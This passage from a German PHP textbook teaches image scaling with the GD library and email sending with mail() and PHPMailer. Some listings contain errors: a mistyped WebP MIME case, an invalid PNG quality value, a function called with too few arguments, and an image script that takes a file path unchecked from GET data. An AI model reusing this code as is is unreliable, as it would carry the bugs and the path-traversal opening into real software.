        PHP ist in seiner Standardinstallation in der Lage, über die sogenannte GD2-Library Bilder beliebigen Inhalts zu erzeugen. Die Ergebnisformate sind auf die gängigen Bildformate im Internet beschränkt: JPEG, GIF und PNG sowie WebP und AVIF.

        In der Regel ist man jedoch weniger daran interessiert, eigene Bilder zu erzeugen, als vielmehr bestehende Bilder zu verändern, z. B.:

        
            	
                verkleinern

            

            	
                mit Wasserzeichen versehen

            

            	
                Texte in Bilder einfügen

            

            	
                mehrere Bilder zu einem Bild zusammenfügen

            

        

        Der Ausgangspunkt ist in den meisten Fällen immer ein leeres Bild, das in weiterer Folge mit Inhalt gefüllt wird.

        Bevor Sie mit dem Verkleinern eines (bestehenden) Bildes loslegen können, müssen Sie zunächst einmal Informationen zu diesem Bild einholen. Dies geschieht über den Befehl getimagesize, der neben der Breite und der Höhe eines Bildes auch die Information zum MIME Type des Bildes liefert:

        $bildpfad = "uploads/Delfin.jpg"; //Pfad zum bestehenden Bild (beispielhaft)
$bildinfos = getimagesize($bildpfad);
$b_src = $bildinfos[0]; //Breite des bestehenden Bildes
$h_src = $bildinfos[1]; //Höhe des bestehenden Bildes


        Listing 11.31    
            Bildinformationen eines bestehenden Bildes einlesen

        Auf Basis dieser Informationen errechnen Sie in weiterer Folge das Seitenverhältnis. Dieses wird benötigt, um das neue Bild im gleichen Seitenverhältnis zu erzeugen.

        $ar = $b_src/$h_src;
$b_dst = 500; //festgelegte Breite des neuen Bildes
$h_dst = intval($b_dst/$ar); //berechnete und abgerundete Höhe des neuen Bildes


        Listing 11.32    
            Die Bildgröße für das skalierte Bild berechnen

        Haben Sie diese Informationen beisammen, können Sie nun zunächst das bestehende Bild in eine sogenannte Ressource laden – dieses Laden ist jedoch abhängig vom Bildtyp:

        
            	
                JPEG: imagecreatefromjpeg("Pfad/zum/Bild");

            

            	
                GIF: imagecreatefromgif("Pfad/zum/Bild");

            

            	
                PNG: imagecreatefrompng("Pfad/zum/Bild");

            

            	
                WebP: imagecreatefromwebp("Pfad/zum/Bild");

            

            	
                AVIF: imagecreatefromavif("Pfad/zum/Bild");

            

        

        Den Bildtyp selbst finden Sie wie oben erwähnt über die Funktion getimagesize heraus, die ein (gemischt) assoziatives Array zurückliefert, in dessen Eintrag ["mime"] der Bildtyp zu finden ist:

        $mime = $bildinfos["mime"];
switch($mime) {
  case "image/jpeg":
    $src = imagecreatefromjpeg($bildpfad);
    break;
  case "image/gif":
    $src = imagecreatefromgif($bildpfad);
    break;
  case "image/png":
    $src = imagecreatefrompng($bildpfad);
    break;
  case "image/webp":
    $src = imagecreatefromwebp($bildpfad);
    break;
  case "image/avif":
    $src = imagecreatefromavif($bildpfad);
    break;
}


        Listing 11.33    
            Je nach Bildtyp wird die Bildinformation eingelesen.

        Danach erzeugen Sie eine leere Bildressource in der gewünschten (Pixel-)Größe. Auch hierfür existieren zwei Befehle:

        
            	
                imagecreate(Breite, Höhe);: Erzeugt ein 8-Bit-Farbbild mit der Möglichkeit, eine Farbpalette anzugeben.

            

            	
                imagecreatetruecolor(Breite, Höhe);: Erzeugt ein 24 Bit-Farbbild.

            

        

        Je nach Bildtyp müssen Sie also hier wieder zwischen diesen beiden Befehlen unterscheiden, wobei GIF den erst- oder zweitgenannten Befehl benötigt und JPEG, PNG, WebP und AVIF den zweitgenannten Befehl benötigen (sofern die verkleinerten Bilder danach wieder im selben Format gespeichert werden sollen):

        $dst = imagecreatetruecolor($b_dst,$h_dst);


        Nun wird der Inhalt des bestehenden Bildes (dessen Bildinformation zuvor in die Ressource $src geladen wurde) skaliert in die neue, noch leere Resource $dst kopiert:

        $dst = imagescale($src,$b_dst, $h_dst);


        Eine kurze Anmerkung: Wenn Sie den dritten Parameter nicht angeben, erfolgt das Skalieren auf Basis des ursprünglichen Seitenverhältnisses. Mit anderen Worten: Wir hätten uns in diesem Fall den dritten Parameter ($h_dst) sparen können.

        Schlussendlich muss das neue (nun gefüllte) Bild noch gespeichert werden. Auch hier unterscheidet man nach den einzelnen Bildtypen, sofern dies gewünscht ist:

        
            	
                JPEG: imagejpeg(Ressource,"Zielpfad",Qualität 0-100);

            

            	
                GIF: imagegif(Ressource,"Zielpfad");

            

            	
                PNG: imagepng(Ressource,"Zielpfad");

            

            	
                WebP: imagewebp(Ressource,"Zielpfad");

            

            	
                AVIF: imageavif(Ressource,"Zielpfad");

            

        

        
            11.15.1    Verbesserungspotenzial detektiert

            Wie Sie im obigen Code leicht erkennen, hat dieser Code noch einige Tücken:

            
                	
                    Der Pfad zur Bilddatei ist fix vorgegeben.

                

                	
                    Der Pfad zum Zielverzeichnis (in dem die Datei später abgelegt werden soll), ist ebenfalls fix vorgegeben.

                

                	
                    Sollte das Zielverzeichnis nicht existieren, wird nichts unternommen. Hier müsste das Zielverzeichnis angelegt werden.

                

                	
                    Es wird nicht zwischen einem Hochformat- und einem Querformatbild unterschieden.

                

            

            Idealerweise schreiben Sie sich in solchen Fällen eine (wiederverwendbare) Funktion, wie der folgende Code sie zeigt:

            function verkleinereBild(
  string $bildpfad,
  string $zielpfad,
  string $seitenlaenge
):bool {
  $pfadinfos = pathinfo($bildpfad);
  $dateiname = $pfadinfos["basename"]; //Originalname der Datei 
//inkl. Dateiendung
 
  $bildinfos = getimagesize($bildpfad); //ermittle Informationen zum Bild 
//(Breite, Höhe, MIME Type)
  $b_src = $bildinfos[0]; //Breite
  $h_src = $bildinfos[1]; //Höhe
  $mime = $bildinfos["mime"]; //MIME Type
  $ar = $b_src/$h_src;
 
  if($ar>1) {
    //Querformatbild
    $b_dst = $seitenlaenge;
    $h_dst = intval($b_dst/$ar);
  }
  else {
    //Hochformatbild
    $h_dst = $seitenlaenge;
    $b_dst = intval($h_dst*$ar);
  }
 
  $ok = true;
  if(!file_exists($zielpfad)) {
    $ok = @mkdir($zielpfad,0755,true);
  }
 
  if($ok) {
    $pfad =  $zielpfad . $dateiname;
    switch($mime) {
      case "image/jpeg":
        $src = imagecreatefromjpeg($bildpfad);
        $dst = imagescale($src,$b_dst);
        $ok = imagejpeg($dst,$pfad,100);
        break;
      case "image/gif":
        $src = imagecreatefromgif($bildpfad);
        $dst = imagescale($src,$b_dst);
        $ok = imagegif($dst,$pfad);
        break;
      case "image/png":
        $src = imagecreatefrompng($bildpfad);
        $dst = imagescale($src,$b_dst);
        $ok = imagepng($dst,$pfad,100);
        break;
      case "imagewebp":
        $src = imagecreatefromwebp($bildpfad);
        $dst = imagescale($src,$b_dst);
        $ok = imagewebp($dst,$pfad);
        break;
      case "image/avif":
        $src = imagecreatefromavif($bildpfad);
        $dst = imagescale($src,$b_dst);
        $ok = imageavif($dst,$pfad);
        break;
    }
  }
 
  return $ok;
}


            Listing 11.34    
            Eine Funktion zum Skalieren eines beliebigen Bildes

            Fassen wir zusammen:

            
                	
                    Die Funktion verkleinereBild erwartet drei Informationen als Übergabeparameter:

                    
                        	
                            $bildpfad: den Pfad zu der Bilddatei, die Sie verkleinern wollen

                        

                        	
                            $zielpfad: den Pfad zu dem (Ziel-)Verzeichnis, in dem die verkleinerte Bilddatei abgelegt werden soll

                        

                        	
                            $seitenlaenge: die Seitenlänge der größeren Seite des Bildes nach der Verkleinerung (beim Querformatbild die Breite, beim Hochformatbild die Höhe)

                        

                    

                

                	
                    Sollte das Zielverzeichnis noch nicht existieren, so wird es automatisch (mittels mkdir) angelegt.

                

                	
                    Das verkleinerte Bild wird unter demselben Namen und im selben Format gespeichert wie das Originalbild.

                

            

        
        
            11.15.2    Alternative Funktionen zu imagescale

            Neben dem imagescale-Befehl existieren zwei weitere Befehle zum Skalieren von Bildern, die sich in der Qualität und in der Geschwindigkeit der Verarbeitung unterscheiden:

            
                	
                    imagecopyresampled: Diese Funktion verwendet für die Bildskalierung das bikubische Interpolationsverfahren, das in der Qualität höherwertiger ist, jedoch bei der Berechnung länger braucht.

                

                	
                    imagecopyresized: Diese Funktion verwendet wiederum die Pixelwiederholung, die schneller in der Berechnung ist, aber eine schlechtere Qualität liefert.

                

            

            In der Regel entscheidet man sich für imagecopyresampled, da man an der besseren Qualität interessiert ist.

            Die Befehle selbst verfügen über dasselbe Set an Übergabeparametern. Hierzu müssen Sie wissen, dass Sie sowohl einen Ausschnitt des bestehenden Bildes entnehmen als auch den Inhalt in einen Ausschnitt des neuen Bildes kopieren können. Daraus ergeben sich folgende Parameter:

            
                	
                    die Ressource des neuen Bildes

                

                	
                    die Ressource des bestehenden Bildes

                

                	
                    die x-Koordinate der linken oberen Ecke des Ausschnitts im neuen Bild (x1)

                

                	
                    die y-Koordinate der linken oberen Ecke des Ausschnitts im neuen Bild (y1)

                

                	
                    die x-Koordinate der linken oberen Ecke des Ausschnitts im bestehenden Bild (x0)

                

                	
                    die y-Koordinate der linken oberen Ecke des Ausschnitts im bestehenden Bild (y0)

                

                	
                    die Breite des Ausschnitts im neuen Bild (w1)

                

                	
                    die Höhe des Ausschnitts im neuen Bild (h1)

                

                	
                    die Breite des Ausschnitts im bestehenden Bild (w0)

                

                	
                    die Höhe des Ausschnitts im bestehenden Bild (h0)

                

            

            Die Idee dahinter ist in Abbildung 11.40 dargestellt.

            
                [image: Mittels PHP können Sie einen Bildausschnitt in einen anderen Bildausschnitt kopieren.]

                Abbildung 11.40    
            Mittels PHP können Sie einen Bildausschnitt in einen anderen Bildausschnitt kopieren.

            
            
                Bildinhalt ausgeben

                Anstatt das skalierte Bild zu speichern, besteht auch die Möglichkeit, den Bildinhalt an den Browser zurückzugeben. Dies geschieht, indem man den zweiten Parameter (Pfad) der Funktionen imagejpeg, imagegif, imagepng, imagewebp und imageavif auslässt. Manipuliert man in weiterer Folge noch den HTTP-Header, so erhält man die Ausgabe des Bildinhalts direkt auf dem Bildschirm.

                Diese Idee ist eigentlich ein völlig normaler Prozess: Der Client fragt nach dem Inhalt einer Bilddatei (beispielsweise mit <img src="uploads/Delfin.jpg">) und erwartet, dass der Server die entsprechenden Daten bereitstellt. Wie er das erlegt, ist dem Client an sich egal – Hauptsache, die Daten entsprechen den geforderten Daten. Dies gibt dem Server wiederum die Möglichkeit, selbst zu entscheiden, woher diese Daten kommen:

                
                    	
                        auf die übliche Art und Weise: mittels Einlesen einer Bilddatei über einen direkten Dateizugriff

                    

                    	
                        dynamisch: durch Generieren eines Bildes und die folgende Ausgabe der so erzeugten Daten (anstatt diese in eine Datei zu speichern)

                    

                

                Im folgenden (einfachen) Beispiel wird das Bild Delfin.jpg, verkleinert auf 500 px Breite, an den Client zurückgegeben:

                $bildpfad = "uploads/Delfin.jpg";
$bildinfos = getimagesize($bildpfad);
$b_src = $bildinfos[0];
$h_src = $bildinfos[1];
$ar = $b_src/$h_src;
 
$b_dst = 500;
$h_dst = intval($b_dst/$ar);
 
$src = imagecreatefromjpeg($bildpfad);
$dst = imagecreatetruecolor($b_dst,$h_dst);
$dst = imagescale($src,$b_dst);
header("Content-type: image/jpeg");
imagejpeg($dst);


                Listing 11.35    
            Ausgabe eines Bildes in den Ausgabestrom

                Dieses Bild kann in weiterer Folge direkt im HTML-Code als Bildquelle eingebettet werden. Wenn wir hier davon ausgehen, dass obiger Code in der Datei bild.php gespeichert ist, so schreiben wir:

                <img src="bild.php">


                Anmerkung: Der Code in Listing 11.35 geht davon aus, dass es sich um ein JPEG-Bild handelt. Natürlich könnte man jedes beliebige Bildformat verwenden (und dieses auch aus dem MIME Type ermitteln), jedoch soll das Beispiel kurz und knapp gehalten werden, um nicht unübersichtlich zu werden.

                Nun könnten Sie die Angelegenheit natürlich auch noch weiter treiben, indem Sie eine unserer Bildgenerierfunktionen verwenden und diese auf Basis übergebener GET-Daten aufrufen. Ein Beispiel sehen Sie hier:

                <img src="bild2.php?bildpfad=a/b/c.jpg&seitenlaenge=800">


                Dieser Aufruf erfolgt in einer beliebigen HTML-Datei. Der Code in bild2.php ist der Folgende:

                <?php
if(count($_GET)>0) {
  //an dieser Stelle muss entweder mittels require eine include-Datei 
  //eingebettet werden, in der sich die Funktion verkleinereBild2 befindet, 
  //oder die Funktion direkt hineingeschrieben werden
  verkleinereBild2($_GET["bildpfad"],$_GET["seitenlaenge"]);
}
?>


                Unsere Funktion zur Bildverkleinerung erweitern wir jetzt wie folgt:

                function verkleinereBild2(string $bildpfad, ?string $zielpfad, int $seitenlaenge, bool $asOutput=false):bool {
  $bildpfad = trim($bildpfad);
  $zielpfad = trim($zielpfad);
  $seitenlaenge = intval($seitenlaenge);
 
  if(file_exists($bildpfad)) {
    $pfadinfos = pathinfo($bildpfad);
    $dateiname = $pfadinfos["basename"];
    $bildinfos = getimagesize($bildpfad);
 
    $b_src = $bildinfos[0];
    $h_src = $bildinfos[1];
    $mime = $bildinfos["mime"];
    $ar = $b_src/$h_src;
    $b_dst = $seitenlaenge;
    $h_dst = $seitenlaenge;
 
    if($ar>1) {
      //Querformatbild
      $b_dst = $seitenlaenge;
      $h_dst = intval($b_dst/$ar);
    }
    else {
      //Hochformatbild
      $h_dst = $seitenlaenge;
      $b_dst = intval($h_dst*$ar);
    }
 
    $ok = true;
    if(!$asOutput && !file_exists($zielpfad)) {
      $ok = @mkdir($zielpfad,0755,true);
    }
 
    if($ok) {
      if($asOutput) {
        header("Content-type: ".$mime);
        $pfad = null;
      }
      else {
        $pfad = $zielpfad . $dateiname;
      }
 
      $dst = imagecreatetruecolor($b_dst,$h_dst);
 
      switch($mime) {
        case "image/jpeg":
          $src = imagecreatefromjpeg($bildpfad);
          $dst = imagescale($src,$b_dst);
          $ok = imagejpeg($dst,$pfad,100);
          break;
        case "image/gif":
          $src = imagecreatefromgif($bildpfad);
          $dst = imagescale($src,$b_dst);
          $ok = imagegif($dst,$pfad);
          break;
        case "image/png":
          $src = imagecreatefrompng($bildpfad);
          $dst = imagescale($src,$b_dst);
          $ok = imagepng($dst,$pfad,100);
          break;
        case "imagewebp":
          $src = imagecreatefromwebp($bildpfad);
          $dst = imagescale($src,$b_dst);
          $ok = imagewebp($dst,$pfad);
          break;
        case "image/avif":
          $src = imagecreatefromavif($bildpfad);
          $dst = imagescale($src,$b_dst);
          $ok = imageavif($dst,$pfad);
          break;
      }
    }
  }
 
  return $ok;
}


                Listing 11.36    
            Die Funktion wurde um eine direkte Ausgabe der Bilddaten in den Ausgabestrom erweitert.

                Die markierten Codeteile werden benötigt, um die direkte Ausgabe des Bildinhalts in den Ausgabestrom zu erwirken und dabei auch den korrekten MIME Type für den Client zu generieren. Somit haben wir nun eine Funktion, die ein Bild verkleinern kann und dieses wahlweise im Zielpfad abspeichert ($asOutput=false) oder es in den Ausgabestrom schreibt ($asOutput=true).

            
        
    


                    
                        
        11.16    Die Kommunikation mit der Außenwelt – der Versand von E-Mails

        Sobald Sie in der Programmierung einige Fortschritte gemacht haben, wird eines Tages der Wunsch nach einem automatisierten Mailversand auf Ihrer Aufgabenliste erscheinen. Das ist verständlich, denkt man beispielsweise an Anforderungen wie

        
            	
                ein Kontaktformular, dessen Inhalt an den Betreiber der Website per E-Mail übermittelt werden soll,

            

            	
                einen Newsletter an Empfänger, die in einer Datenbank abgelegt sind, oder

            

            	
                eine Bestellung in einem Onlineshop, wo die Bestellübersicht samt Rechnung und Weiterem an den Besteller gesendet werden.

            

        

        Also werfen wir mal einen Blick darauf! Der Versand von E-Mails kann grundsätzlich auf zwei Arten erfolgen:

        
            	
                Man überlässt dem (vorkonfigurierten) Mailserver des Hosting-Providers (der dem Webserver dient) den Versand von E-Mails.

            

            	
                Man verwendet einen eigenen Mailserver und versendet die E-Mails über diesen.

            

        

        Grundsätzlich ist die Variante 2 vorzuziehen. Dies hat mehrere Gründe:

        
            	
                Auf die Konfiguration des vorgegebenen Mailservers haben Sie in aller Regel keinen Zugriff. Aus diesem Grund können Sie auch kein eigenes Mailkonto anlegen, über das Mails von Ihrer Website verschickt werden können.

            

            	
                Der Mailversand über den vorkonfigurierten Mailserver hat mit Ihrer Domain in Wirklichkeit nichts zu tun. Wenn Sie also die Domain abc.at betreiben, die auf einem Server gehostet wird (wo auch weitere Domains gehostet werden), dann besitzt der Server selbst offensichtlich in der Regel keine eigene Domain (sondern lediglich eine IP-Adresse). So existiert dann auch kein realer Zusammenhang zwischen dem Mailversender und Ihrer Domain – genau dieses Szenario lässt dann den Empfänger stutzig werden. Im schlimmsten Fall landet Ihre E-Mail im Spam-Ordner des Empfängers, da dem Absender nicht vertraut wird.

            

            	
                Zurückgewiesene oder nicht zustellbare E-Mails werden in Variante 1 an den Mailserver des Webservers zurückgeschickt. Der Mailserver leitet diese Mails natürlich nicht an Sie weiter, wodurch Sie keine Informationen darüber erhalten, ob eine E‐Mail nicht zugestellt wurde.

            

        

        Dennoch bietet PHP zunächst keine echte Möglichkeit an, E-Mails per SMTP zu versenden, außer Sie stecken wirklich, wirklich viel Zeit und Energie in die Entwicklung.

        
            [»]  Shared Hosting vs. eigener Server

            Das Problem mit dem fehlenden Eingriff in die Konfiguration des Mailservers hat man zumeist dann, wenn es sich um ein Shared Hosting handelt. Betreiben Sie Ihren eigenen Server, sieht die Sache natürlich anders aus: Hier können Sie auf die Konfiguration Einfluss nehmen. Manche Hosting-Dienste erlauben ebenfalls einen Eingriff in die Konfiguration, aber die Regel ist es nicht.

        

        
            11.16.1    Zu einfach und schnell im Spam: Die mail-Funktion

            Beim Folgenden handelt es sich um Variante 1 der obigen Ausführungen: Der dem Webserver zugewiesene Mailserver kümmert sich um den Versand der E-Mails. Problematisch hierbei ist, dass der verwendete Mailserver zumeist in keinem Zusammenhang mit Ihrer Domain steht und derart versandte E-Mails häufig im Spam-Ordner landen. Aus diesem Grund ist von der Nutzung dieser Funktion abzuraten, sofern Sie, wie oben erwähnt, keine Möglichkeit haben, den Mailserver entsprechend zu konfigurieren.

            Die Syntax dieses Befehls lautet im einfachsten Fall wie folgt:

            mail("Empfängeradresse","Betreff","Inhalt");


            
                	
                    Empfängeradresse: die E-Mail-Adresse des Empfängers

                

                	
                    Betreff: der Betreff der E-Mail

                

                	
                    Inhalt: Hier ist zu beachten, dass von einer Text-E-Mail ausgegangen wird und nicht von einer (formatierten) HTML-E-Mail.

                

            

            Die mail-Funktion liefert ein true oder ein false zurück, das besagt, ob oder ob nicht die E-Mail korrekt für den Versand übergeben werden konnte. Beachten Sie hierbei, dass der Empfang der E-Mail aufseiten des Empfängers nicht kontrolliert werden kann.

            Eine Anwendung dieser Funktion wäre also etwa:

            $ok = mail("uwe.mutz@syne.at","Kontaktaufnahme","Hallo Uwe,\nwie geht es 
Dir?\nSilvia");
if($ok) {
  ...
}
else {
  ...
}


            In diesem Fall würde eine E-Mail an uwe.mutz@syne.at mit dem Betreff »Kontaktaufnahme« und dem Inhalt

            Hallo Uwe,


            wie geht es Dir?


            Silvia


            versendet werden (beachten Sie die Zeilenumbrüche mithilfe des Escape-Zeichens \n). An dieser Stelle ist Ihnen sicher schon aufgefallen, dass nirgendwo der Absender der E-Mail angegeben wird. Nun, das ist in Wirklichkeit ja auch nicht möglich, denn der Absender ist der (zugewiesene) Mailserver des Webservers und nicht Sie oder Ihre Website. Mithilfe weiterer Angaben (sogenannter Header-Angaben) wäre es nun möglich, dass wir der E-Mail eine Absender-Adresse hinzufügen. Diese stellt jedoch lediglich eine Fake-Adresse dar – sie steht zwar mehr oder weniger auf dem Briefkuvert, aber der reale Absender ist doch jemand anderes.

            Erweitern Sie die mail-Funktion wie folgt, so können Sie auch eine Angabe über den Absender, die Empfänger in CC, BCC usw. ergänzen:

            mail("Empfängeradresse","Betreff","Inhalt","Header-Angaben");


            Diese Header-Angaben können folgende sein (bitte beachten Sie in weiterer Folge die Schreibweise mit einem trennenden \r\n zwischen den Angaben):

            
                	
                    From: Absender-Adresse

                

                	
                    CC: Zweit- Empfänger(liste), auch Carbon-Copy genannt

                

                	
                    BCC: unsichtbare Zweit-Empfänger(liste) oder Blind Carbon-Copy

                

                	
                    Reply-To: E-Mail-Adresse, sofern der Empfänger auf die empfangene E-Mail antworten möchte

                

                	
                    Content-Type: Gibt den Inhaltstyp an, wodurch es beispielsweise möglich wird, HTML-E-Mails zu versenden (über die Angabe text/html als Content-Type).

                

                	
                    MIME-Version

                

                	
                    und weitere Angaben, die ggf. benötigt werden

                

            

            Eine Beispielanwendung der Header wäre etwa:

            $ok = mail(
  "uwe.mutz@syne.at",
  "Kontaktaufnahme",
  "Hallo Uwe,\nwie geht es Dir?\nSilvia",
  "
    From: silvia.mutz@syne.at\r\n
    Reply-To: office@syne.at\r\n
    CC: office@syne.at
  "
);


            Listing 11.37    
            Ein einfacher Mailversand mit zusätzlichen Header-Daten

            Der Absender würde auf silvia.mutz@syne.at, die Antwortadresse auf office@syne.at gesetzt werden, und in CC wird diese E-Mail an die Adresse office@syne.at versendet.

            Anmerkung: Seit Version 7 von PHP kann die Angabe dieser Additional Headers auch in Form eines Arrays erfolgen, dessen Einträge dann nicht mehr durch \r\n getrennt werden müssen:

            $ok = mail(
  "uwe.mutz@syne.at",
  "Kontaktaufnahme",
  "Hallo Uwe,\nwie geht es Dir?\nSilvia",
  [
    "From" => "silvia.mutz@syne.at",
    "Reply-To" => "office@syne.at",
    "CC" => "office@syne.at"
  ]
);


            Listing 11.38    
            Eine alternative Schreibweise der Header-Daten

            Die mail-Funktion kann noch zusätzlich um die Additional Parameters erweitert werden. Mithilfe dieser Parameter wäre es beispielsweise möglich, den Absender (auch wenn dieser nicht mit dem realen Absender übereinstimmt) als trusted einzustufen. Jedoch müsste man, um dies zu tun, Zugriff auf eine Datei /etc/mail/trusted-users haben, in der man die Absenderadresse als vertrauenswürdig eintragen kann – den benötigten Zugriff auf diese Datei hat man jedoch in den meisten Fällen in der Praxis nicht. Aus diesem Grund sei hier auf die offizielle Dokumentation von PHP verwiesen:

            http://php.net/manual/de/function.mail.php

            
                HTML-E-Mails mithilfe der mail-Funktion

                Außer zum Versand reiner Text-E-Mails ist die Mailfunktion (selbstverständlich) auch in der Lage, formatierte (gestaltete) E-Mails zu versenden. Hierzu müssen Sie wissen, dass es sich im Fall formatierter E-Mails in Wirklichkeit eigentlich nur um HTML-Code in Verbindung mit CSS handelt. Möchten Sie also eine schön gestaltete E‐Mail versenden, so ist hierzu nur das Wissen um HTML und CSS vonnöten.

                Möglich wird der Versand einer solchen E-Mail durch die Angabe des Content-Typs (hier: text/html) und des Zeichensatzes (hier: utf-8) sowie der MIME-Version (hier: 1.0). Der Inhalt der E-Mail wird dann durch HTML-Code beschrieben:

                $inhalt = '
  <!DOCTYPE html>
  <html lang="de">
  <head>
  <title>Meine erste HTML-E-Mail</title>
  <meta charset="utf-8">
  <style>
  ...
  </style>
  <link rel="stylesheet" href="http://...">
  </head>
  <body>
  <p>Hallo Uwe,<br>wie geht es Dir?<br>Silvia</p>
  </body>
  </html>
';
$ok = mail("uwe.mutz@syne.at","Kontaktanfrage",$inhalt,[
  "Content-type" => "text/html; charset=utf-8",
  "MIME-Version" => "1.0"]
);


                Listing 11.39    
            Der Versand einer HTML-E-Mail

                Bitte beachten Sie an dieser Stelle auch, dass Verlinkungen auf externe Dateien (CSS-Dateien, Bilder etc.) nun in Form von absoluten Adressen erfolgen müssen, da es keinen relativen Bezug zu einer Website mehr gibt. Besser wäre es natürlich, die CSS-Regeln gleich direkt in den HTML-Code der HTML-E-Mail zu schreiben.

                Ob der (HTML-)Inhalt der Website in Form einer Variablen, durch Einlesen einer externen Datei (siehe hierzu etwa die Funktion file_get_contents: http://php.net/manual/de/function.file-get-contents.php) oder direkt als String an die Funktion übergeben wird, ist einerlei. Diesen Weg könnte man natürlich für etwaige CSS-Dateien einschlagen, um die CSS-Regeln direkt in den HTML-Code der HTML-E-Mail einzulesen.

            
        
        
            11.16.2    Die sinnvolle Variante: Die PHPMailer-Library

            Alternativ zum Versand mithilfe der mail-Funktion hat sich eine kleine, aber feine PHP-Library auf dem Markt etabliert, die neben dem Standardversand auch einen Versand per SMTP anbietet: die PHPMailer-Library. Sie besteht aus einer Reihe von PHP-Dateien, wobei lediglich eine PHP-Datei in die bestehende Datei per require eingebunden werden muss – mehr dazu später.

            Beziehen können Sie die kostenfreie Library unter https://github.com/PHPMailer/PHPMailer. Hier finden Sie auf der rechten Seite dieser Site einen (grünen) Code-Button, wo Sie Download ZIP auswählen sollten (siehe Abbildung 11.41).

            
                [image: Sobald dies geschehen ist, können Sie den Inhalt des ZIP-Files auf Ihren Webhost hochladen und entsprechend in Ihre Site einbinden:]

                Abbildung 11.41    
            Sobald dies geschehen ist, können Sie den Inhalt des ZIP-Files auf Ihren Webhost hochladen und entsprechend in Ihre Site einbinden:

            
            use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
require 'path/to/PHPMailer/src/Exception.php';
require 'path/to/PHPMailer/src/PHPMailer.php';
require 'path/to/PHPMailer/src/SMTP.php';


            Listing 11.40    
            Code zum Einbetten des PHPMailers

            Bitte beachten Sie, dass Sie path/to/ durch den Pfad auf Ihrem Webserver zu dem soeben hochgeladenen Ordner ersetzen müssen. Haben Sie etwa den PHPMailer-Ordner in den Ordner includes geladen, so muss path/to/ durch includes/ ersetzt werden – eh klar.

            Die Anwendung des PHP-Mailers ist denkbar einfach, auch in der Dokumentation (siehe ebenfalls die oben genannte Webadresse) gut dokumentiert sowie in der Regel selbsterklärend.

            
                [»]  use

                Das Schlüsselwort use haben Sie bis dato noch nicht kennengelernt. Der Grund ist, dass es im Zusammenhang mit objektorientierter Programmierung eingesetzt wird und ich diese nicht behandele.

            

            
                SMTP-Versand mit dem PHPMailer

                Der wesentliche Vorteil des PHPMailers ist der Versand von Mails über ein eigens eingerichtetes Mailkonto bei einem Provider Ihrer Wahl (wie etwa Gmail oder GMX). Listing 11.41 zeigt die Vorgehensweise:

                use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
 
require 'path/to/PHPMailer/src/Exception.php';
require 'path/to/PHPMailer/src/PHPMailer.php';
require 'path/to/PHPMailer/src/SMTP.php';
 
date_default_timezone_set('Etc/UTC'); //wird benötigt, um die richtige 
//Zeitzone zu setzen
 
$mail = new PHPMailer;
$mail->isSMTP();
$mail->SMTPDebug = 2; //0: kein Debugging, 1: Client-Messages, 
//2: Server-Messages
 
$mail->Host = 'mail.example.com';
$mail->Port = 25; //25: Standard, 465: SSL, 587: TLS
$mail->SMTPAuth = true; //gibt an, ob eine Authentifizierung erforderlich ist
$mail->Username = 'yourname@example.com';
$mail->Password = 'yourpassword';
 
$mail->setFrom('from@example.com', 'First Last');
$mail->addReplyTo('replyto@example.com', 'First Last'); //sofern benötigt
$mail->addAddress('whoto@example.com', 'John Doe');
 
$mail->Subject = 'PHPMailer SMTP test';
$mail->msgHTML($inhalt); //angenommen, $inhalt repräsentiert den HTML-Inhalt 
//der E-Mail
$mail->AltBody = 'Text-Inhalt'; //alternativer Inhalt als reiner Text
 
$mail->addAttachment('images/phpmailer_mini.png'); //sofern benötigt: 
//Attachment(s)
 
if (!$mail->send()) {
    echo('Mailer Error: ' . $mail->ErrorInfo);
}
else {
    echo('Message sent!');
}


                Listing 11.41    
            Ein SMTP-Versand einer E-Mail mittels SMTP-Mailer

                Weitere Beispiele zum Mailversand finden Sie ebenfalls unter der zuvor angegebenen Webadresse.

                
                    [»]   Composer

                    An dieser Stelle kann es sein, dass Sie zum ersten Mal auf den Begriff Composer stoßen. Hierunter versteht man eine Systematik, um aus einer großen Menge von Dateien genau diejenigen herauszusuchen und herunterzuladen, die für den jeweiligen Anwendungsfall (Server-System und -Version, PHP-Version etc.) benötigt werden. Die Verwendung des Composers ist zwar für fortgeschrittene Entwickler von Vorteil, jedoch nicht für Einsteiger. Der Grund liegt darin, dass Sie zur Verwendung des Composers in der Regel ein Command-Line Interface (CLI, etwa die Kommandozeile in Windows oder das Terminal unter macOS) benötigen. Weitere Informationen zum Composer finden Sie unter https://getcomposer.org/.

                

            
        
    


                    
                        
        11.17    Ausblick

        Bevor wir uns im nächsten Kapitel dem Thema Datenbanken widmen, möchte ich noch auf ein paar Punkte eingehen, die Sie in Ihrer Entwickler-Karriere mit Sicherheit betreffen werden und an die Sie anknüpfen können:

        
            	
                Objektorientierte Programmierung: Wie auch schon im JavaScript-Kapitel erwähnt, halte ich die objektorientierte Programmierung für ein wunderbares Konzept. Dennoch bin ich der festen Überzeugung, dass Sie als Einsteiger*in zuerst einmal in der klassischen Programmierung Fuß fassen müssen. Das bedeutet, dass es für Sie jetzt einmal heißt, viele Zeilen Code zu schreiben und Ihre eigenen Fehler zu machen, an Ihre eigenen Grenzen zu stoßen, um schlussendlich zu erkennen, dass der imperative Ansatz irgendwann nicht mehr ausreicht. Dann sind Sie reif für die Objektorientierung.

            

            	
                Architektur, insbesondere MVC: Je größer die Projekte werden, umso mehr Anforderungen werden an das System gestellt – auch das haben wir bereits in JavaScript festgestellt. Im Rahmen von PHP gehen wir mit der Integration von Datenbanken noch einen Schritt weiter, wodurch sich für die Website eine mögliche Auftrennung in drei Bereiche ergibt:

                
                    	
                        Model: Das Model erzeugt eine Kopplung der (üblicherweise in einer Datenbank) gespeicherten Daten mit der Programmierung. Dieser Schritt erfolgt üblicherweise mithilfe von Klassen in der Objektorientierung (womit wir wieder beim obigen Thema wären).

                    

                    	
                        View: Eine View repräsentiert die Darstellung der Daten, beispielsweise in Form von Vorlagen (Templates), in die die (z. B. aus der Datenbank gelesenen) Daten über Platzhalter eingesetzt werden. Eine View besitzt keine Intelligenz – sie ist lediglich der (HTML-)Code, der für die Darstellung der Daten benötigt wird.

                    

                    	
                        Controller: Der Controller erhält den Input vom User und setzt diesen entsprechend um, indem er etwa das Model mit Informationen ausstattet. Der Controller beinhaltet die eigentliche Logik der Anwendung, wobei die Umsetzung wiederum mithilfe von Klassen erfolgt.

                    

                

